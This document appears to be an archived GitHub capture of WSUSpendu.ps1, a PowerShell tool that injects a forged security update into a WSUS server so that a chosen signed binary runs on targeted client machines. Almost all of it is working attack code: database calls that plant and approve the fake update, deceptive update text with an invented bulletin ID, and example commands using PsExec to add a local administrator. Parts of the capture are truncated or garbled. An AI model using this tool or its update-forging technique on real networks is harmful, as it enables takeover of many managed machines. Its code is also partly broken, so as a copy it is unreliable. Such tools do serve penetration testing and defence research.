

We're continuing to fight for universal access to quality information—and you can help as we continue to make improvements. Will you chip in?

https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1

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829 lines (711 sloc) | 28.9 KB

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```
1  <#
2  .SYNOPSIS
3      Inject an newly created update in WSUS Server, executing an arbitrary command on targeted WSUS clients.
4
5  .DESCRIPTION
6      This script injects a payload in WSUS server in order to be executed on a targeted computer.
7      Execution policy needs to be configured to execute foreign script:
8      Set-ExecutionPolicy -ExecutionPolicy unrestricted (or bypass)
9
10 .NOTES
11     Authors: Yves Le Provost (yves.le-provost@ssi.gouv.fr) & Romain Coltel (romain.coltel@alsid.com)
12
13     TODO:
14     * Remote PowerShell: upload the PayloadFile
15
16 .PARAMETER PayloadFile
17     File to be executed on the target. It MUST be signed (using Authenticode) by Microsoft or a trusted third-party.
18
19 .PARAMETER PayloadArgs
20     Arguments to pass to the payload file.
21
22 .PARAMETER ComputerName
23     This argument is the name of the target. The DNS fully qualified name has to be used.
24
25 .EXAMPLE
26     Wsuspendu.ps1 -Inject -PayloadFile psexec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net
27     This will inject a new update executing PsExec.exe to add a new local administrator named Titi. This update will be approved
28
29 .EXAMPLE
30     Wsuspendu.ps1 -Inject -PayloadFile psexec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net
31     This will inject a new update executing PsExec.exe to add a new local administrator named Titi. This update WON'T be approved
32 #>
33
34 [CmdletBinding(DefaultParameterSetName = 'injectcase')]
35 Param(
36     [Parameter (Mandatory = $False, ParameterSetName = 'injectcase')]
37     [Parameter (Mandatory = $True, ParameterSetName = 'addcase')]
38     [Parameter (Mandatory = $True, ParameterSetName = 'removecase')]
39     [Parameter (Mandatory = $True, ParameterSetName = 'checkcase')]
40     [string] $ComputerName = 'OnDownstreamServer',
41
42     [Parameter (Mandatory = $True, ParameterSetName = 'injectcase', Position = 0)]
43     [switch] $Inject,
44
45     [Parameter (Mandatory = $True, ParameterSetName = 'injectcase')]
46     [string] $PayloadFile,
47
48     [Parameter (ParameterSetName = 'injectcase')]
```

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```
49     [string] $PayloadArgs,
50
51     [Parameter (Mandatory = $True, ParameterSetName = 'cleancase', Position = 0)]
52     [switch] $Clean.
53
54     [Parameter (Mandatory = $True, ParameterSetName = 'cleancase')]
55     [Parameter (Mandatory = $True, ParameterSetName = 'checkcase')]
56     [string] $UpdateID,
57
58     [Parameter (Mandatory = $True, ParameterSetName = 'addcase', Position = 0)]
59     [switch] $Add,
60
61     [Parameter (Mandatory = $True, ParameterSetName = 'removecase', Position = 0)]
62     [switch] $Remove,
63
64     [Parameter (Mandatory = $True, ParameterSetName = 'checkcase', Position = 0)]
65     [switch] $Check,
66
67     [switch] $Quiet = $False
68 )
69
70 function Connection
71 {
72     $Conn = New-Object System.Data.SqlClient.SqlConnection
73     $Version = (Get-WmiObject Win32_OperatingSystem).Version
74     Write-Debug "OS Version : $Version"
75
76     # Note: for a value of 'MICROSOFT##WID', we contact the server with 'np:\\.\pipe\MICROSOFT##WID\tsql\query'
77
78     $SqlServerName = (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update Services\Server\setup').SqlServer
79     $SqlDatabaseName = (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update Services\Server\setup').SqlData
80
81     if ( ($SqlServerName -eq 'MICROSOFT##WID') -or ($SqlServerName -eq 'MSSQL$MICROSOFT##SSEE') )
82     {
83
84         if ($Version -lt 6.2.0)
85         {
86             # WID Win2008
87             $Conn.ConnectionString = 'Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database='+$SqlDatabaseName+';Integrated Security=
88         }
89         else
90         {
91             # WID Win2012 and >
92             $Conn.ConnectionString = 'Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database='+$SqlDatabaseName+';Integrated Security=Tru
93         }
94     }
95     else
96     {
97         # SQL Server
98         $Conn.ConnectionString = 'Server=' + $SqlServerName + ';Database='+$SqlDatabaseName+';Trusted_Connection=True'
99     }
100
101     try
102     {
103         $Conn.Open()
104     }
105     catch [System.Data.SqlClient.SqlException]
106     {
107         Write-Error "$_"
108         Exit 2
109     }
110
111     return $Conn
112 }
113
114 function GetWSUSConfiguration
115 {
116     if ($g_WSUSConfiguration)
117     {
118         return $g_WSUSConfiguration
119     }
120
121     $g_SQLCmd.CommandText = "exec spConfiguration"
122 }
```

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```
123     try
124     {
125         $Reader = $g_SQLCmd.ExecuteReader()
126     }
127
128     {
129         Write-Error "Error getting the configuration: $_"
130         Exit 2
131     }
132
133     if ($Reader.Read())
134     {
135         $RegUsingSSL = Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update Services\Server\setup' -Name Usin
136         $ComputerName = $env:COMPUTERNAME
137         if ($env:USERDNSDOMAIN)
138         {
139             $ComputerName += '.' + $env:USERDNSDOMAIN
140         }
141
142         $g_WSUSConfiguration = New-Object -TypeName PSObject
143         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name LocalContentCacheLocation -Value $Reader.GetValue($Reader.GetO
144         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name ServerPortNumber -Value $Reader.GetValue($Reader.GetOrdinal('S
145         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name UsingSSL -Value $RegUsingSSL.UsingSSL
146         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name FullComputerName -Value $ComputerName
147
148         $Reader.Close()
149     }
150     else
151     {
152         Write-Error "Cannot read WSUS configuration"
153         Exit 4
154     }
155
156     return $g_WSUSConfiguration
157 }
158
159 function GetUpdateDirectory
160 {
161     $Configuration = GetWSUSConfiguration
162
163     $IISLocation = $Configuration.LocalContentCacheLocation
164     Write-Debug "IIS Folder: '$IISLocation'"
165
166     if ($IISLocation.Length -eq 0)
167     {
168         Write-Error "Error retrieving IIS location path"
169         Exit 3
170     }
171     return $IISLocation
172 }
173
174 function CopyFile([string] $FilePath, [string] $Destination)
175 {
176     try
177     {
178         Copy-Item -Path $FilePath -Destination ($Destination + '\wuagent.exe')
179     }
180     catch
181     {
182         Write-Error "Copy file in IIS path: $_"
183         Exit 4
184     }
185 }
186
187 function RemoveFile([string] $Directory)
188 {
189     Remove-Item -Path ($Directory + '\wuagent.exe')
190 }
191
192 function GetComputerTarget([string] $ComputerName)
193 {
194     $g_SQLCmd.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'$ComputerName'"
195
196     try
```

```
269     $TargetGroupName = $Reader.GetValue($Reader.GetOrdinal('Name'))
270     Write-Debug "Target group name = '$TargetGroupName'"

```

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```
271
272     if ($TargetGroupName -eq $GroupName)
273     {
274         $TargetGroupID = $Reader.GetValue($Reader.GetOrdinal('TargetGroupID'))
275     }
276     break;
277 }
278 }
279
280 $Reader.Close()
281
282 if (-not $TargetGroupID)
283 {
284     Write-Debug "Target group '$GroupName' has not been found"
285 }
286
287 return $TargetGroupID
288 }
289
290 function ImportUpdate([string] $UpdateGuid, [object] $OFile)
291 {
292     $Datatable = New-Object System.Data.DataTable
293     $g_SQLCmd.CommandText = '
294 declare @iImported int
295 declare @iLocalRevisionID int
296 exec spImportUpdate @UpdateXml=N''
297 <upd:Update xmlns:b="http://schemas.microsoft.com/msus/2002/12/LogicalApplicabilityRules" xmlns:pub="http://schemas.microsoft.com/msu
298 <upd:UpdateIdentity UpdateID="" + $UpdateGuid + "" RevisionNumber="202" />
299 <upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHand
300 <upd:InstallationBehavior RebootBehavior="CanRequestReboot" />
301 <upd:UninstallationBehavior RebootBehavior="CanRequestReboot" />
302 </upd:Properties>
303 <upd:LocalizedPropertiesCollection>
304 <upd:LocalizedProperties>
305 <upd:Language>en</upd:Language>
306 <upd:Title>Probably-legal-update</upd:Title>
307 </upd:LocalizedProperties>
308 </upd:LocalizedPropertiesCollection>
309 <upd:ApplicabilityRules>
310 <upd:IsInstalled><b:False /></upd:IsInstalled>
311 <upd:IsInstallable><b:True /></upd:IsInstallable>
312 </upd:ApplicabilityRules>
313 <upd:Files>
314 <upd:File Digest="" + $OFile.Digest.SHA1 + "" DigestAlgorithm="SHA1" FileName="" + $OFile.Name + "" Size="" + $OFile.Size + ""
315 <upd:AdditionalDigest Algorithm="SHA256">' + $OFile.Digest.SHA256 + '</upd:AdditionalDigest>
316 </upd:File>
317 </upd:Files>
318 <upd:HandlerSpecificData xsi:type="cmd:CommandLineInstallation" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:pub="h
319 <cmd:InstallCommand Arguments="" + $OFile.Args + "" Program="" + $OFile.Name + "" RebootByDefault="false" DefaultResult="Succee
320 <cmd:ReturnCode Reboot="false" Result="Succeeded" Code="0" />
321 </cmd:InstallCommand>
322 </upd:HandlerSpecificData>
323 </upd:Update>'',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=N
324 select @iImported,@iLocalRevisionID
325 '
326
327 try
328 {
329     $Reader = $g_SQLCmd.ExecuteReader()
330 }
331 catch [System.Data.SqlClient.SqlException]
332 {
333     Write-Error "Error when creating update: $_"
334     Exit 2
335 }
336
337 $Datatable.Load($Reader)
338 $Reader.Close()
339
340 return $Datatable.Rows[0].Column2
341 }
342
343 function PrepareXmlToClient([string] $UpdateGuid, [object] $OFile)
344 {
```

345

\$g\_SQLCmd.CommandText = "

346

exec spSaveXmlFragment ''' + \$UpdateGuid + "',202,1,N'<UpdateIdentity UpdateID="" + \$UpdateGuid + "" RevisionNumber=""202"" />

347

348

exec spSaveXmlFragment

349

350

351

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411

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413

414

415

416

417

418

''' + \$UpdateGuid + "',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/200

'''

try

{

\$Reader = \$g\_SQLCmd.ExecuteReader()

}

catch [System.Data.SqlClient.SqlException]

{

Write-Error "\$\_"

Exit 2

}

\$Reader.Close()

}

function InjectUrl2Download([object] \$OFile)

{

\$Configuration = GetWSUSConfiguration

\$muurl = 'http'

if (\$Configuration.UsingSSL)

{

\$muurl += 's'

}

\$muurl += '://' + \$Configuration.FullComputerName + ':' + \$Configuration.ServerPortNumber + '/Content/wuagent.exe'

\$g\_SQLCmd.CommandText = 'exec spSetBatchURL @urlBatch =N''<ROOT><item FileDigest="" + \$OFile.Digest.SHA1 + "" MUURL="" + \$muurl +

try

{

\$Reader = \$g\_SQLCmd.ExecuteReader()

}

catch [System.Data.SqlClient.SqlException]

{

Write-Error "\$\_"

Exit 2

}

\$Reader.Close()

}

function DeploymentRevision([int] \$LocalRevisionID)

{

\$g\_SQLCmd.CommandText = 'exec spDeploymentAutomation @revisionID=' + \$LocalRevisionID

try

{

\$Reader = \$g\_SQLCmd.ExecuteReader()

}

catch [System.Data.SqlClient.SqlException]

{

Write-Error "\$\_"

Exit 2

}

\$Reader.Close()

}

function PrepareBundle([object] \$OGuid)

{

\$Datatable = New-Object System.Data.DataTable

\$g\_SQLCmd.CommandText = '

declare @iImported int

declare @iLocalRevisionID int

exec spImportUpdate @UpdateXml=N''

<upd:Update xmlns:pub="http://schemas.microsoft.com/msus/2002/12/Publishing" xmlns:upd="http://schemas.microsoft.com/msus/2002/12/Upd

<upd:UpdateIdentity UpdateID="" + \$OGuid.Bundle + "" RevisionNumber="204" />

<upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" MsrCS

<upd:SupportUrl>http://ssi.gouv.fr</upd:SupportUrl>

<upd:SecurityBulletinID>MS42-007</upd:SecurityBulletinID>

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```
419         <upd:KBArticleID>2862335</upd:KBArticleID>
420     </upd:Properties>
421     <upd:LocalizedPropertiesCollection>
422     <upd:LocalizedProperties>
423     <upd:Title>Bundle update for * Windows (from KB2862335)</upd:Title>
424     <upd:Description>A security issue has been identified in a Microsoft software product that could affect your system. You can
425     <upd:UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Con
426     <upd:MoreInfoUrl>http://alsid.eu</upd:MoreInfoUrl>
427     <upd:SupportUrl>http://ssi.gouv.fr</upd:SupportUrl>
428     </upd:LocalizedProperties>
429 </upd:LocalizedPropertiesCollection>
430 </upd:LocalizedPropertiesCollection>
431 <upd:Relationships>
432     <upd:Prerequisites>
433     <upd:AtLeastOne IsCategory="true">
434     <upd:UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" />
435     </upd:AtLeastOne>
436     </upd:Prerequisites>
437     <upd:BundledUpdates>
438     <upd:UpdateIdentity UpdateID="" + $OGuid.Update + "" RevisionNumber="202" />
439     </upd:BundledUpdates>
440     </upd:Relationships>
441 </upd:Update>'',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=N
442 select @iImported, @iLocalRevisionID'
443
444     try
445     {
446         $Reader = $g_SQLCmd.ExecuteReader()
447     }
448     catch [System.Data.SqlClient.SqlException]
449     {
450         Write-Error "Error when creating the Bundle update: $_"
451         Exit 2
452     }
453     $Datatable.Load($Reader)
454     $Reader.Close()
455
456     return $Datatable.Rows[0].Column2
457 }
458
459 function PrepareXmlBundleToClient([object] $OGuid)
460 {
461     $g_SQLCmd.CommandText = "
462     exec spSaveXmlFragment '' + $OGuid.Bundle + ',204,1,N'<UpdateIdentity UpdateID="" + $OGuid.Bundle + "" RevisionNumber=""204"" /
463
464     exec spSaveXmlFragment '' + $OGuid.Bundle + ',204,4,N'<LocalizedProperties><Language>en</Language><Title>Bun
465
466     exec spSaveXmlFragment '' + $OGuid.Bundle + ',204,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""Importa
467     "
468
469     try
470     {
471         $Reader = $g_SQLCmd.ExecuteReader()
472     }
473     catch [System.Data.SqlClient.SqlException]
474     {
475         Write-Error "$_"
476         Exit 2
477     }
478     $Reader.Close()
479 }
480
481 function CreateGroup([string] $GroupName, [string] $GroupID)
482 {
483     $g_SQLCmd.CommandText = "exec spCreateTargetGroup @name='' + $GroupName + ', @id='' + $GroupID + ""
484     try
485     {
486         $Reader = $g_SQLCmd.ExecuteReader()
487     }
488     catch [System.Data.SqlClient.SqlException]
489     {
490         Write-Error "Error when create TargetGroup $GroupName (GUID=$GroupID) : $_"
491         Exit 2
492     }
```

```
493     $Reader.Close()
494 }
```

```
$g_SQLCmd.CommandText = "exec spRemoveTargetFromTargetGroup @targetGroupID='" + $GroupID + "', @targetID='" + $ComputerTargetID
```

```

499     try
500     {
501         $Reader = $g_SQLCmd.ExecuteReader()
502     }
503     catch [System.Data.SqlClient.SqlException]
504     {
505         Write-Error "Error when remove target $ComputerTargetID in target Group $($GroupID): $_"
506         Exit 2
507     }
508     $Reader.Close()
509 }

```

```

511 function AddComputerToGroup([string] $GroupID, [int] $ComputerTargetID)
512 {
513     <# Note:
514     We're not using spAddComputerToTargetGroupAllowMultipleGroups, because we don't want $Computer to be removed
515     from the Unassigned Computers group, if it's already in, by this procedure. Using spAddTargetToTargetGroup directly
516     ensures us this is not done, but needs the targetID, which is what our GetComputerTarget function is for.
517     #>
518     $g_SQLCmd.CommandText = "exec spAddTargetToTargetGroup @targetGroupID='" + $GroupID + "', @targetID=" + $ComputerTargetID
519
520     try
521     {
522         $Reader = $g_SQLCmd.ExecuteReader()
523     }
524     catch [System.Data.SqlClient.SqlException]
525     {
526         Write-Error "Error when add target $ComputerTargetID in target Group $($GroupID): $_"
527         Exit 2
528     }
529     $Reader.Close()
530 }

```

```
532 function RemoveGroup([string] $GroupID)
533 {
534     $g_SQLCmd.CommandText="exec spDeleteTargetGroup @targetGroupID='" + $GroupID + "'";
535     try
536     {
537         $Reader = $g_SQLCmd.ExecuteReader()
538     }
539     catch [System.Data.SqlClient.SqlException]
540     {
541         Write-Error "Error when remove group $($GroupID): $_"
542         Exit 2
543     }
544     $Reader.Close()
545 }
```

```

547 function DeleteUpdate([string] $UpdateID)
548 {
549     $g_SQLCmd.CommandText = "exec spDeclineUpdate @updateID='" + $UpdateID + "'"
550     try
551     {
552         $Reader = $g_SQLCmd.ExecuteReader()
553     }
554     catch [System.Data.SqlClient.SqlException]
555     {
556         Write-Error "Error when decline update $($UpdateID): $_"
557         Exit 2
558     }
559     $Reader.Close()
560
561     $g_SQLCmd.CommandText = "exec spDeleteUpdateByUpdateID @updateID='" + $UpdateID + "'"
562     try
563     {
564         $Reader = $g_SQLCmd.ExecuteReader()
565     }
566     catch [System.Data.SqlClient.SqlException]

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```
567 {
568     Write-Error "Error when delete update $($UpdateID): $_"
569     Exit 2
570 }
571 }
572 }
573
574 function ApproveUpdate ([string] $UpdateID, [string] $GroupID)
575 {
576
577     $g_SQLCmd.CommandText = "exec spDeployUpdate @updateID='" + $UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + $Gr
578     try
579     {
580         $Reader = $g_SQLCmd.ExecuteReader()
581     }
582     catch [System.Data.SqlClient.SqlException]
583     {
584         Write-Error "Error when deploy updateID $UpdateID for target group $($GroupID): $_"
585         Exit 2
586     }
587     $Reader.Close()
588 }
589
590 function GetFileHashInBase64([string] $FileName, [string] $Algo)
591 {
592     $hash = (Get-FileHash -path $FileName -Algorithm $Algo).Hash
593     $hashByteArray = $hash -split '(?<=\G..)(?=.)'
594     $hashHexArray = $hashByteArray | ForEach-Object { [byte]::Parse($_, 'HexNumber') }
595     [Convert]::ToBase64String(@($hashHexArray))
596 }
597
598 <# main #>
599
600 $global:g_WSUSConfiguration = $Null
601 $global:g_SQLCmd = New-Object System.Data.SqlClient.SqlCommand
602 $GroupName = 'InjectionGroup'
603 $g_SQLCmd.Connection = Connection
604
605 if ($Inject)
606 {
607     Add-Type -AssemblyName System.web
608
609     if (-not (Test-Path $PayloadFile))
610     {
611         Write-Error "Cannot find '$PayloadFile', aborting."
612         Exit 4
613     }
614
615     $Guid = @{
616         Update = [guid]::NewGuid();
617         Bundle = [guid]::NewGuid();
618         TargetGroup = [guid]::NewGuid();
619     }
620
621     $File = @{ Name = [System.IO.Path]::GetFileName($PayloadFile);
622         Path = $PayloadFile;
623         Args = [system.web.httputility]::htmlencode([System.web.httputility]::htmlencode($PayloadArgs));
624         Size = (Get-ChildItem $PayloadFile | Measure-Object -property Length -sum).Sum
625         Digest = @{
626             SHA1 = GetFileHashInBase64 -FileName $PayloadFile -Algo 'SHA1'
627             SHA256 = GetFileHashInBase64 -FileName $PayloadFile -Algo 'SHA256'
628         }
629     }
630     $Dir = GetUpdateDirectory
631     CopyFile -FilePath $File.Path -Destination $Dir
632
633     if ($ComputerName -ne 'OnDownstreamServer')
634     {
635         $TargetID = GetComputerTarget -ComputerName $ComputerName
636         $TargetGroupID = GetGroupID -GroupName $GroupName
637
638         if ($TargetGroupID)
639         {
640             $IsGroupExist = $True
```

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```
641         $Guid.TargetGroup = $TargetGroupID
642     }
643     else
644     {
645     }
646 }
647 }
648
649 $LocalRevisionID = ImportUpdate -UpdateGuid $Guid.Update -OFile $File
650
651 Write-Verbose "Update's local revision ID: $LocalRevisionID"
652
653 if ($LocalRevisionID -eq 0)
654 {
655     Write-Error "Error when importing update: no update was created"
656     Exit 3
657 }
658
659 Write-Verbose "Injected Update's GUID: $($Guid.Update)"
660
661 PrepareXmlToClient -UpdateGuid $Guid.Update -OFile $File
662 InjectUrl2Download -OFile $File
663 DeploymentRevision -LocalRevisionID $LocalRevisionID
664
665 $LocalRevisionID = PrepareBundle -OGuid $Guid
666 Write-Verbose "Bundle's local revision ID: $LocalRevisionID"
667
668 if ($LocalRevisionID -eq 0)
669 {
670     Write-Error "Error when importing Bundle: no update was created"
671     Exit 3
672 }
673 Write-Verbose "Injected bundle's GUID: $($Guid.Bundle)"
674
675 PrepareXmlBundleToClient -OGuid $Guid
676 DeploymentRevision -LocalRevisionID $LocalRevisionID
677
678 if ($ComputerName -ne 'OnDownstreamServer')
679 {
680     if ($IsGroupExist)
681     {
682         Write-Verbose "Group $GroupName already created"
683     }
684     else
685     {
686         CreateGroup -GroupName $GroupName -GroupID $Guid.TargetGroup
687         Write-Verbose "Group '$GroupName' created. GUID: $($Guid.TargetGroup)"
688     }
689
690     AddComputerToGroup -GroupID $Guid.TargetGroup -ComputerTargetID $TargetID
691     Write-Verbose "Computer $ComputerName (targetID $TargetID) added in target group $($Guid.TargetGroup)"
692
693     ApproveUpdate -UpdateID $Guid.Bundle -GroupID $Guid.TargetGroup
694
695     Write-Verbose "Update $($Guid.Bundle) deployed for target group $($Guid.TargetGroup)"
696 }
697 else
698 {
699     Write-Verbose "Not adding any computer target to any group: we assume the update is for workstations attached to a downstream s
700 }
701
702 Write-Output "Everything seems ok. Wait for the client to take the update now..."
703 Write-Output "To clean the injection, execute the following command:"
704 Write-Output ".\Wsuspendu.ps1 -Clean -UpdateID $($Guid.Bundle)"
705 if ($ComputerName -ne 'OnDownstreamServer')
706 {
707     Write-Output "To check the update status, execute the following command:"
708     Write-Output ".\Wsuspendu.ps1 -check -UpdateID $($Guid.Bundle) -ComputerName $($ComputerName)"
709 }
710 else
711 {
712     Write-Output "To check the update status for a specific computer, execute the following command:"
713     Write-Output ".\Wsuspendu.ps1 -check -UpdateID $($Guid.Bundle) -ComputerName [Computer name]"
714 }
```

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4 captures

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About this capture

```
715     Write-Host -ForegroundColor Green "Done"
716 }
717
718 if ($Add)
719 {
720     $TargetGroupID = GetGroupID -GroupName $GroupName
721     if (-not $TargetGroupID)
722     {
723         Write-Error "You can't add a computer if the injection group '$GroupName' doesn't exist"
724         Exit 4
725     }
726
727     $ComputerID = GetComputerTarget -ComputerName $ComputerName
728     AddComputerToGroup -GroupID $TargetGroupID -ComputerTargetID $ComputerID
729     Write-Host -ForegroundColor Green "Done"
730 }
731
732 if ($Remove)
733 {
734     $TargetGroupID = GetGroupID -GroupName $GroupName
735     if (-not $TargetGroupID)
736     {
737         Write-Error "You can't remove a computer of an injection group ('$GroupName') that doesn't exist"
738         Exit 4
739     }
740
741     $ComputerID = GetComputerTarget -ComputerName $ComputerName
742     RemoveComputerFromGroup -GroupID $TargetGroupID -ComputerTargetID $ComputerID
743     Write-Host -ForegroundColor Green "Done"
744 }
745
746 if ($Clean)
747 {
748     $TargetGroupID = GetGroupID -GroupName $GroupName
749     if ($TargetGroupID)
750     {
751         # Just in case one would want to apply the update on a different group name
752         $DefaultGroupIDs = @( 'B73CA6ED-5727-47F3-84DE-015E03F6A88A', # Unassigned Computers
753                               'D374F42A-9BE2-4163-A0FA-3C86A401B7A7', # Downstream servers
754                               'A0A08746-4DBE-4A37-9ADF-9E7652C0B421') # All Computers
755         if ($DefaultGroupIDs -contains $TargetGroupID)
756         {
757             Write-Verbose "Cannot delete a default group (this will most probably break the WSUS installation)"
758         }
759         else
760         {
761             RemoveGroup -GroupID $TargetGroupID
762         }
763     }
764
765     DeleteUpdate -UpdateID $UpdateID
766     $Dir = GetUpdateDirectory
767     RemoveFile -Directory $Dir
768     Write-Host -ForegroundColor Green "Done"
769 }
770
771 if($Check)
772 {
773     $TargetID = GetComputerTarget -ComputerName $ComputerName
774
775
776     $g_SQLCmd.CommandText = "SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '$UpdateID'"
777     try
778     {
779         $Reader = $g_SQLCmd.ExecuteReader()
780     }
781     catch [System.Data.SqlClient.SqlException]
782     {
783         Write-Error "$_"
784         Exit 2
785     }
786
787     if ($Reader.Read())
788     {
```

```
789 $LocalUpdateID = $Reader.GetValue($Reader.GetOrdinal('LocalUpdateID'))
790 }
791 else
792 {
793     $g_SQLCmd.CommandText = "SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID=$LocalUpdateID AND TargetComputerID=$LocalUpdateID"
794     Exit 4
795 }
796 $Reader.Close()
797
798 $g_SQLCmd.CommandText = "SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID=$LocalUpdateID AND TargetComputerID=$LocalUpdateID"
799 try
800 {
801     $Reader = $g_SQLCmd.ExecuteReader()
802 }
803 catch [System.Data.SqlClient.SqlException]
804 {
805     Write-Error "$_"
806     Exit 2
807 }
808
809 if ($Reader.Read())
810 {
811     $SummarizationState = $Reader.GetValue($Reader.GetOrdinal('SummarizationState'))
812     switch ($SummarizationState)
813     {
814         2 { Write-Host '> Update is not installed'; break }
815         3 { Write-Host '> Update is downloaded'; break }
816         4 { Write-Host '> Update is installed'; break }
817         5 { Write-Host '> Update failed'; break }
818         default { Write-Host "x Unknown state: $SummarizationState" }
819     }
820 }
821 else
822 {
823     Write-Host -ForegroundColor Red "Update Info cannot be found"
824     Exit 4
825 }
826 $Reader.Close()
827 }
828
829 $g_SQLCmd.Connection.Close()
```